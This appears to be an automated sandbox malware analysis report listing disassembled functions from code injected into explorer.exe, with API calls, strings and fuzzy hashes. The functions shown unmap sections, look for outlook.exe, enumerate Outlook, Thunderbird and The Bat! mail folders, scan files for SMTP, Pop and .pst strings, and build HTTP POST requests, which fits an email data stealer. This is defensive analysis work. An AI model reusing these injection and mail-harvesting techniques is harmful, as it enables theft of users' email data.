Function 0013203C Relevance: 5.3, APIs: 4, Instructions: 274COMMON

Download Yara Rule

APIs

_allmul.NTDLL(?,00000000,?), ref: 00132174
_allmul.NTDLL(?,?,?,00000000), ref: 0013220E
_allmul.NTDLL(?,00000000,00000000,?), ref: 00132241
_allmul.NTDLL(00122E26,00000000,?,?), ref: 00132295

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: _allmul
String ID:
API String ID: 4029198491-0
Opcode ID: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction ID: 498362382b6a5f676ce77189f7bfb1998c3ea86552248746f5378e3a129333b2
Opcode Fuzzy Hash: 3085842643abf35a20991388616d187f76d7e9293e8280a6adbe6ee58f7c727c
Instruction Fuzzy Hash: CAA17B717087019FD714EF68C991A2FB7E6AFE8704F10482DF6969B291EB70EC458B42

Function 001378B9 Relevance: 5.2, APIs: 4, Instructions: 227COMMON

Download Yara Rule

APIs

memcpy.NTDLL(?,?,?,?), ref: 00137979
memset.NTDLL ref: 0013798A
memcpy.NTDLL(?,?,?), ref: 00137A00
memset.NTDLL ref: 00137A14

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: memcpymemset
String ID:
API String ID: 1297977491-0
Opcode ID: 93531ae6043f475d782dde2bbd696ea544871cdeb419238af5712af0d196b23d
Instruction ID: 44866eba16c7fa3b11abb013214e1e5da9857249930ac2e2dddaf5e4e79e5c60
Opcode Fuzzy Hash: 93531ae6043f475d782dde2bbd696ea544871cdeb419238af5712af0d196b23d
Instruction Fuzzy Hash: A9819DB160C3149FC364DF28C980A2BBBE5EF98714F15496DF88A97292E770E905CB91

Function 0012190B Relevance: 5.0, APIs: 4, Instructions: 36stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,?,?,?,00000000,00122783), ref: 0012192B
lstrlen.KERNEL32(00000000,?,?,?,00000000,00122783), ref: 00121930
lstrcat.KERNEL32(00000000,?), ref: 00121946
lstrcat.KERNEL32(00000000,00000000), ref: 0012194A

Memory Dump Source

Source File: 00000026.00000002.600244447.0000000000121000.00000040.80000000.00040000.00000000.sdmp, Offset: 00121000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_38_2_121000_explorer.jbxd

Similarity

API ID: lstrcatlstrlen
String ID:
API String ID: 1475610065-0
Opcode ID: 03a865de26843c26a50176dca791f3a6aad0fcd0c065122981fd5b0eea3ab98d
Instruction ID: f86f308597aa028dfb808790f58d52b600baad8fcfc517a2ed84595e08a76ee4
Opcode Fuzzy Hash: 03a865de26843c26a50176dca791f3a6aad0fcd0c065122981fd5b0eea3ab98d
Instruction Fuzzy Hash: 71E09B5230062C2B4B20B7AE6C94D7B76ECDBE56A53050035F908D3202EF559C4586B0

Analysis Process: explorer.exePID: 3656, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	55.1%
Signature Coverage:	0%
Total number of Nodes:	49
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 000638B0 Relevance: 1.5, APIs: 1, Instructions: 40
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 000638F2

Memory Dump Source

Source File: 00000027.00000002.573648210.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_61000_explorer.jbxd

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 175f204f98ddab081ce75ab585c860cf335b3b36596ebe57e2ab61619d8d81c0
Instruction ID: 07d7c0bebfd5eab35338b42f632c169550439883b7608d4425e9f1fe2b024cbe
Opcode Fuzzy Hash: 175f204f98ddab081ce75ab585c860cf335b3b36596ebe57e2ab61619d8d81c0
Instruction Fuzzy Hash: F3F0A020F11A080FEAAC77FD685D3A822C2EB59310F900629B516C36D3DC398A458352

Function 0006A298 Relevance: 4.8, APIs: 3, Instructions: 252
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32 ref: 0006A397
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-00000003), ref: 0006A441
VirtualProtect.KERNELBASE ref: 0006A45F

Memory Dump Source

Source File: 00000027.00000002.573648210.0000000000069000.00000040.80000000.00040000.00000000.sdmp, Offset: 00069000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_69000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction ID: 006bc09559ba58e1e56ca86166064d69eaa2f5b492dea585316237ca25ff1824
Opcode Fuzzy Hash: 58aacdddcf7ccbe6dd60936edcc7c5c7b61a302890236e98a304d03939a8bedf
Instruction Fuzzy Hash: 99517D3175892E4BCB24BB7C9CC42F5B3C3F757321B18062AD08AD3385D559D9468B93

Function 00063458 Relevance: 4.7, APIs: 3, Instructions: 172
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNEL32 ref: 0006353F
RegEnumKeyExW.KERNEL32 ref: 000635D6
RegCloseKey.KERNEL32 ref: 000635E9

Memory Dump Source

Source File: 00000027.00000002.573648210.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_61000_explorer.jbxd

Similarity

API ID: CloseEnumOpen
String ID:
API String ID: 1332880857-0
Opcode ID: e6d0cc022632efdd4a3c5a8daf3e56bcebce22f91e00e29876c625ce24938a9c
Instruction ID: d4483960c43caaeea037d42a9e10a4b875f7596f5693c41f599e3ec46e3d9013
Opcode Fuzzy Hash: e6d0cc022632efdd4a3c5a8daf3e56bcebce22f91e00e29876c625ce24938a9c
Instruction Fuzzy Hash: 82416C30718F0C4FDB98EF6D94997AAB6E2FBD8341F04456EA14EC3262DE34D9448782

Function 0006372C Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNEL32 ref: 000637B2

Strings

?, xrefs: 000637A2

Memory Dump Source

Source File: 00000027.00000002.573648210.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_61000_explorer.jbxd

Similarity

API ID: Create
String ID: ?
API String ID: 2289755597-1684325040
Opcode ID: 90b71b727ca288489aec266a13dd0a18d59c7ad321cf10e681fca41da4c5c652
Instruction ID: 0175cadc1eaba084e880b185854f7669454e214051596b44bd1488a6f786bdce
Opcode Fuzzy Hash: 90b71b727ca288489aec266a13dd0a18d59c7ad321cf10e681fca41da4c5c652
Instruction Fuzzy Hash: 9E11B970608B4C8FD750DF69D48865AB7E2FB98305F40062EE489C3321DF34D985CB82

Function 000622B4 Relevance: 1.5, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.OLE32 ref: 000622D0

Memory Dump Source

Source File: 00000027.00000002.573648210.0000000000061000.00000040.80000000.00040000.00000000.sdmp, Offset: 00061000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_39_2_61000_explorer.jbxd

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction ID: 6c511f69b69d8d3de49810070f3f7e1f5989998c8ca95c8496505d4ba7d4b445
Opcode Fuzzy Hash: 1de76282c48f0bd08e98a48b657d2df2c7e3f359bfabb3919f08c1342ed29bc7
Instruction Fuzzy Hash: 7AE08C30108B0A8FD798AFBCE4CA07933A1EB9C252B05093EE005CB114D27988C18741

Analysis Process: explorer.exePID: 2860, Parent PID: 1244COMMON

Execution Graph

Execution Coverage:	15.3%
Dynamic/Decrypted Code Coverage:	96.6%
Signature Coverage:	3.4%
Total number of Nodes:	233
Total number of Limit Nodes:	7

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 0008255C Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 88
stringfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

lstrcatW.KERNEL32(00000000), ref: 00082588
PathAppendW.SHLWAPI(00000000,*.*), ref: 00082594
FindFirstFileW.KERNELBASE(00000000,?,?,000818F4), ref: 000825A8
RtlZeroMemory.NTDLL(00000209,00000209), ref: 000825C3
lstrcatW.KERNEL32(00000209,?), ref: 000825E1
PathAppendW.SHLWAPI(00000209,?), ref: 000825ED
lstrcatW.KERNEL32(00000209,?), ref: 00082611
PathAppendW.SHLWAPI(00000209,?), ref: 0008261D
StrStrIW.SHLWAPI(00000209,?), ref: 0008262C
FindNextFileW.KERNELBASE(00000000,?,?,000818F4), ref: 00082644
FindClose.KERNEL32(00000000,?,000818F4), ref: 00082653

Strings

*.*, xrefs: 0008258E

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: AppendFindPathlstrcat$FileHeap$AllocateCloseFirstMemoryNextProcessZero
String ID: *.*
API String ID: 1648349226-438819550
Opcode ID: f244eec9a02c202261c54c00ec9b413ed975cdb29ccbfba86f23e8cd56307f5a
Instruction ID: 9ab04f0758e8323f23007aef3f0b497425df495bdb796eec7b4485748527ddf8
Opcode Fuzzy Hash: f244eec9a02c202261c54c00ec9b413ed975cdb29ccbfba86f23e8cd56307f5a
Instruction Fuzzy Hash: C9217171204315AFE710BF209D589AFBBECFFC5B05F04051DFAD1A2251EB389A168B66

Function 0008274A Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
processstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00082758
Process32First.KERNEL32(00000000,?), ref: 00082777
lstrcmpi.KERNEL32(?,outlook.exe), ref: 0008278B
Process32Next.KERNEL32(00000000,00000128), ref: 000827A8
CloseHandle.KERNELBASE(00000000), ref: 000827B3

Strings

outlook.exe, xrefs: 0008277F

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID: outlook.exe
API String ID: 868014591-749849299
Opcode ID: 5a2c25bce87a4886a15f15d2e2ef7a80a439fc0a196e4a8c78eb7e8f423e4933
Instruction ID: 343884579346d2584715dea729d65f949d7c5dc94cdf17a98ebe8d79567dd670
Opcode Fuzzy Hash: 5a2c25bce87a4886a15f15d2e2ef7a80a439fc0a196e4a8c78eb7e8f423e4933
Instruction Fuzzy Hash: 23F06230505128ABE720BB65DC49BEE77BCBB48B25F400190E9C9A2191EB388B544F95

Function 00081016 Relevance: 3.0, APIs: 2, Instructions: 19
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000827E2: VirtualQuery.KERNEL32(00000000,00000209,0000001C,00000209,00082664,?,000818F4), ref: 000827EF

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 0008103A
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 00081043

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: MemoryMoveQuerySectionUnmapViewVirtual
String ID:
API String ID: 1675517319-0
Opcode ID: baec96bfdead2c76f9d40b549b314d090c8656c966da0cfbe969c1d0fccf5cf0
Instruction ID: 55d5dd33b2f901c1089b15beaab3eab97d09ece425fd31eaa01e34cb85dd0178
Opcode Fuzzy Hash: baec96bfdead2c76f9d40b549b314d090c8656c966da0cfbe969c1d0fccf5cf0
Instruction Fuzzy Hash: 23D05E31800260B7EA657774BC1E9CA2A8CBF45730B254251B6E5961D3C9794A818B71

Function 0008104F Relevance: 35.1, APIs: 11, Strings: 9, Instructions: 115
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

ExpandEnvironmentStringsW.KERNEL32(%APPDATA%\Microsoft\Outlook,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 0008107F
ExpandEnvironmentStringsW.KERNEL32(%LOCALAPPDATA%\Microsoft\Outlook,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 00081093
ExpandEnvironmentStringsW.KERNEL32(%ALLUSERSPROFILE%\Microsoft\Outlook,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 000810A7
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000005,00000000), ref: 000810BB
ExpandEnvironmentStringsW.KERNEL32(%APPDATA%\Thunderbird,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 000810D3
ExpandEnvironmentStringsW.KERNEL32(%APPDATA%\The Bat!,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 000810E7
ExpandEnvironmentStringsW.KERNEL32(%ALLUSERSPROFILE%\The Bat!,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 000810FB
ExpandEnvironmentStringsW.KERNEL32(%APPDATA%\BatMail,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 0008110F
ExpandEnvironmentStringsW.KERNEL32(%ALLUSERSPROFILE%\BatMail,00000000,00000208,?,?,?,0008104E,?,00081010), ref: 00081123
wsprintfA.USER32 ref: 0008116B
ExitProcess.KERNEL32 ref: 00081189

Strings

%APPDATA%\The Bat!, xrefs: 000810E2
%APPDATA%\Microsoft\Outlook, xrefs: 0008107A
%LOCALAPPDATA%\Microsoft\Outlook, xrefs: 0008108E
%APPDATA%\Thunderbird, xrefs: 000810CE
%ALLUSERSPROFILE%\BatMail, xrefs: 0008111E
%APPDATA%\BatMail, xrefs: 0008110A
%ALLUSERSPROFILE%\The Bat!, xrefs: 000810F6
%s,, xrefs: 00081165
%ALLUSERSPROFILE%\Microsoft\Outlook, xrefs: 000810A2

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: EnvironmentExpandStrings$HeapProcess$AllocateExitFolderPathSpecialwsprintf
String ID: %ALLUSERSPROFILE%\BatMail$%ALLUSERSPROFILE%\Microsoft\Outlook$%ALLUSERSPROFILE%\The Bat!$%APPDATA%\BatMail$%APPDATA%\Microsoft\Outlook$%APPDATA%\The Bat!$%APPDATA%\Thunderbird$%LOCALAPPDATA%\Microsoft\Outlook$%s,
API String ID: 1709485025-1688604020
Opcode ID: 72968f9d89e6bc32a17a9400d13fd263b6a4988c16ccb6dcd1446170f9e16262
Instruction ID: 4a2ba61a2a61d2de802517fd4c21c0c34be2e32a5e302aa0719222a3359143be
Opcode Fuzzy Hash: 72968f9d89e6bc32a17a9400d13fd263b6a4988c16ccb6dcd1446170f9e16262
Instruction Fuzzy Hash: 7331937174022566EA5133654C1AFFF198DBF81FD4B050124F6C9DA2C3DE598E0387B6

Function 0008126E Relevance: 12.4, APIs: 8, Instructions: 365
filesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 00081289
GetFileSize.KERNEL32(00000000,00000000), ref: 000812A1
CloseHandle.KERNELBASE(00000000), ref: 000816F4

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

ReadFile.KERNELBASE(00000000,00000000,00000400,?,00000000), ref: 000812E8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0008132D
RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 00081379
ReadFile.KERNELBASE(00000000,00000000,00000000,?,00000000), ref: 000813B6

Part of subcall function 00081C39: RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081C55

Part of subcall function 00081972: RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081994

Sleep.KERNELBASE(00000064), ref: 000816FD

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: File$MemoryMove$HeapRead$AllocateCloseCreateHandlePointerProcessSizeSleep
String ID:
API String ID: 1032042679-0
Opcode ID: 61bc2f22d2100cfa5cada242e575fdd2c09bc464b337c3e81574e5df978ef6ef
Instruction ID: 75e5417636b9bb59cc4e60b4fe32e97da451ac298a5a535e8d66e3deab824b36
Opcode Fuzzy Hash: 61bc2f22d2100cfa5cada242e575fdd2c09bc464b337c3e81574e5df978ef6ef
Instruction Fuzzy Hash: 9DD1D2746082119BC764BF2888406FABBEABFC8760F48462DF8D597295E7308D53CB95

Function 00089CF6 Relevance: 3.3, APIs: 2, Instructions: 282
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000088000.00000040.80000000.00040000.00000000.sdmp, Offset: 00088000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_88000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0108dd120b053b6f55e8645ecb237e8214c936467551cc72fb4cdbd494caad90
Instruction ID: a463335449e91c4295caeb03356daa0005c9d69c2ec95bec009e1af8dcd402f7
Opcode Fuzzy Hash: 0108dd120b053b6f55e8645ecb237e8214c936467551cc72fb4cdbd494caad90
Instruction Fuzzy Hash: 439137725193914FD726BE78CCC46B5BFE0FB52320B2C06A9D9D1CB386E7A4580AC764

Function 000829B7 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: b9351f4542ec540c723d8288ffa8f1c93b00f39b480ad427a02778a4ffa0a27d
Instruction ID: 3c8c13ecdc887a9dfa87a418431857bd093085331a36a112817de6aaaa3d87e4
Opcode Fuzzy Hash: b9351f4542ec540c723d8288ffa8f1c93b00f39b480ad427a02778a4ffa0a27d
Instruction Fuzzy Hash: 1CA002B15503005BFD4457F5AE1EA157528B7D4B01F0045447385890549A6955148F21

Function 00082999 Relevance: 2.5, APIs: 2, Instructions: 12
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000827E2: VirtualQuery.KERNEL32(00000000,00000209,0000001C,00000209,00082664,?,000818F4), ref: 000827EF

GetProcessHeap.KERNEL32(00000000,00000000,00000209,00082664,?,000818F4), ref: 000829A8
HeapFree.KERNEL32(00000000,?,000818F4), ref: 000829AF

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: Heap$FreeProcessQueryVirtual
String ID:
API String ID: 2580854192-0
Opcode ID: df64934d43702fa617687989b5c70bf43bb8b9b35f146b4e005b86ab177719a1
Instruction ID: 09411c8b402897cefff5f73e0440f262c5ce0b05ffcf0dbc953be38e067b1978
Opcode Fuzzy Hash: df64934d43702fa617687989b5c70bf43bb8b9b35f146b4e005b86ab177719a1
Instruction Fuzzy Hash: ACC02B3100433053DA6037743C1DBC63B0CBF8AB21F050082F9C1970418B6A8C018BB0

Non-executed Functions

Function 00081C39 Relevance: 40.4, APIs: 8, Strings: 15, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081C55
RtlMoveMemory.NTDLL(00000000,?,?), ref: 00081DBA
RtlZeroMemory.NTDLL(?,?), ref: 00081DD3
StrStrIA.SHLWAPI(00000000,from), ref: 00081DE5
StrStrIA.SHLWAPI(00000000,Blob), ref: 00081DF1
StrStrIA.SHLWAPI(00000000,Pop), ref: 00081DFD
StrStrIA.SHLWAPI(00000000,SMTP), ref: 00081E09
StrStrIA.SHLWAPI(00000000,.pst), ref: 00081E15

Strings

_, xrefs: 00081D2E
:, xrefs: 00081CB5
.pst, xrefs: 00081E0F
., xrefs: 00081CC4
/, xrefs: 00081CB0
Pop, xrefs: 00081DF7
Blob, xrefs: 00081DEB
., xrefs: 00081D33
_, xrefs: 00081CBF
from, xrefs: 00081DDF
/, xrefs: 00081D1F
-, xrefs: 00081D29
-, xrefs: 00081CBA
:, xrefs: 00081D24
SMTP, xrefs: 00081E03

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: Memory$HeapMove$AllocateProcessZero
String ID: -$-$.$.$.pst$/$/$:$:$Blob$Pop$SMTP$_$_$from
API String ID: 1061763166-3069160855
Opcode ID: b84919368493d7d5f368d1f8ce8e5c1d9a6d62c27fbc89321324b14f0ac629bc
Instruction ID: 4b5aa8aed124a3871e58e12401931c93ac944f0da3ca0bc3fe3e93e69f00f3b1
Opcode Fuzzy Hash: b84919368493d7d5f368d1f8ce8e5c1d9a6d62c27fbc89321324b14f0ac629bc
Instruction Fuzzy Hash: BC5156B0B407165BEB64BA1888A46FE77DEBF85700F084919FDC44B283DB798C474792

Function 00081972 Relevance: 28.2, APIs: 9, Strings: 7, Instructions: 243
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

RtlMoveMemory.NTDLL(00000000,-00000040,?), ref: 00081994
RtlMoveMemory.NTDLL(00000000,00000000,00000001), ref: 00081B53
RtlZeroMemory.NTDLL(00000000,00000001), ref: 00081B61
StrStrIW.SHLWAPI(00000000,from), ref: 00081B99
StrStrIW.SHLWAPI(00000000,Blob), ref: 00081BA5
StrStrIW.SHLWAPI(00000000,Pop), ref: 00081BB1
StrStrIW.SHLWAPI(00000000,SMTP), ref: 00081BBD
StrStrIW.SHLWAPI(00000000,.pst), ref: 00081BC9
lstrlenW.KERNEL32(00000000), ref: 00081BD0

Strings

SMTP, xrefs: 00081BB7
Pop, xrefs: 00081BAB
from, xrefs: 00081B93
.pst, xrefs: 00081BC3
Blob, xrefs: 00081B9F
;, xrefs: 00081B85
<, xrefs: 00081B7D

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: Memory$HeapMove$AllocateProcessZerolstrlen
String ID: .pst$;$<$Blob$Pop$SMTP$from
API String ID: 76385412-3831209991
Opcode ID: daa115a76ccc5235f2113b9ee301909c6d2d8d6482403054c7f97d7641e7743b
Instruction ID: 4513c980414ea6726187ff74bc215935d9f5c7d3fe74b3bdc2598ba981a98ec9
Opcode Fuzzy Hash: daa115a76ccc5235f2113b9ee301909c6d2d8d6482403054c7f97d7641e7743b
Instruction Fuzzy Hash: 7B71D2357443129BDB28BF18DD40AEE77E9BF88750F148829E9C19B282DB70DD878791

Function 000820A7 Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000829B7: GetProcessHeap.KERNEL32(00000008,00000412,0008257A,000818F4), ref: 000829BA
Part of subcall function 000829B7: RtlAllocateHeap.NTDLL(00000000), ref: 000829C1

Part of subcall function 00082938: lstrlen.KERNEL32(0030AE26,?,00000000,00000000,000820E3,75712B62,0030AE26,00000000), ref: 00082940
Part of subcall function 00082938: MultiByteToWideChar.KERNEL32(00000000,00000000,0030AE26,00000001,00000000,00000000), ref: 00082952

Part of subcall function 000824CC: RtlZeroMemory.NTDLL(?,00000018), ref: 000824DE

RtlZeroMemory.NTDLL(?,0000003C), ref: 0008213F
wsprintfW.USER32 ref: 00082278
wsprintfW.USER32 ref: 000822E3
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 000823AD

Strings

Host: %s, xrefs: 000822DD
POST, xrefs: 00082229
Content-Type: application/x-www-form-urlencoded, xrefs: 00082307
Accept: */*Referer: %S, xrefs: 0008226E

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 2d0a82c8d0d7e4589e8405ce0e55f6720ae0ccaaaabdf10beb67123a4c5655e5
Instruction ID: a01ef7159da9355fa114d69cd7f2b2a9dec58d7afaa36dde2eb3a980ae35fe43
Opcode Fuzzy Hash: 2d0a82c8d0d7e4589e8405ce0e55f6720ae0ccaaaabdf10beb67123a4c5655e5
Instruction Fuzzy Hash: 2DA16AB1608340AFE750EF68D894A6BBBE8FF88750F10092DF9C5D7252DA34DE058B52

Function 00081ECE Relevance: 12.1, APIs: 8, Instructions: 90
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrStrIA.SHLWAPI(00000000,000831D8), ref: 00081EE4
RtlMoveMemory.NTDLL(?,00000000,00000000), ref: 00081F08
RtlMoveMemory.NTDLL(?,?), ref: 00081F22
StrStrIA.SHLWAPI(00000000,?), ref: 00081F31
StrStrIA.SHLWAPI(00000000,?), ref: 00081F44
StrStrIA.SHLWAPI(?,?), ref: 00081F57
lstrlen.KERNEL32(00000000), ref: 00081F64
lstrlen.KERNEL32(00000000), ref: 00081F9D

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: MemoryMovelstrlen
String ID:
API String ID: 456560858-0
Opcode ID: 7a14b61d49639bded18d49fe900f4b0fc9897078ed695063aad06e24d9f1e285
Instruction ID: 6da4ad79282a5736bd751d79d8e3ad9208539ada28f005c9117f4ca21c0103b0
Opcode Fuzzy Hash: 7a14b61d49639bded18d49fe900f4b0fc9897078ed695063aad06e24d9f1e285
Instruction Fuzzy Hash: 702190725043196ADB30BA649C85FEB7BDCAF85744F000936EBC4C3113E729D94B87A2

Function 00081E44 Relevance: 7.6, APIs: 5, Instructions: 81stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,00000000,00000000,75A7D250,?,?,00081E22), ref: 00081E5D
CharLowerBuffA.USER32(00000000,00000000), ref: 00081E69
lstrcmpi.KERNEL32(00000000,0030C16C,?,?,00081E22), ref: 00081E81
lstrlen.KERNEL32(00000000,?,00081E22), ref: 00082699
RtlMoveMemory.NTDLL(0030C16C,00000000,00000000), ref: 000826A2

Memory Dump Source

Source File: 00000028.00000002.579604844.0000000000081000.00000040.80000000.00040000.00000000.sdmp, Offset: 00081000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_40_2_81000_explorer.jbxd

Similarity

API ID: lstrlen$BuffCharLowerMemoryMovelstrcmpi
String ID:
API String ID: 2826435453-0
